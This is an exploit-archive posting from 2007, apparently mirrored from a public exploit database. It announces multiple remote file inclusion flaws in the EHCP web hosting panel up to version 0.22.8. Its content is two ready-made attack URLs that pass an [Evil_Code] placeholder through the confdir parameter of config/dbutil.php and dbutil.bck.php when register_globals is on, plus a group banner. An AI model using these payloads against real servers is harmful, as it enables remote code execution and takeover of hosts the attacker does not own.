[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : EHCP <= 0.22.8 Multiple Remote File Inclusion Vulnerabilities
# Published : 2007-11-28
# Author : MhZ91
# Previous Title : PHP-CON 1.3 (include.php) Remote File Inclusion Vulnerability
# Next Title : Charrays CMS 0.9.3 Multiple Remote File Inclusion Vulnerabilities


---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |_______    _____/  |_          /_   |/  |_ 
 |   |/        |  | _(__  <_/ ___   __  ______  |      __
 |   |   |     |  |/         ___|  |   /_____/  |   ||  |  
 |___|___|  /__|  /______  /___  >__|            |___||__|  
          /______|      /     /                           
---------------------------------------------------------------

Http://www.inj3ct-it.org	    Staff[at]inj3ct-it[dot]org	

---------------------------------------------------------------

	  Multiple Remote File Inclusion

---------------------------------------------------------------

# Author: MhZ91 nobody.91@hotmail.it 

# Download Script: http://sourceforge.net/projects/ehcp

# register_globals = On 

# Exploit 

# http://[site]/[path]/config/dbutil.bck.php?confdir=[Evil_Code]

# http://[site]/[path]/config/dbutil.php?confdir=[Evil_Code]

---------------------------------------------------------------

# www.Syue.com [2007-11-28]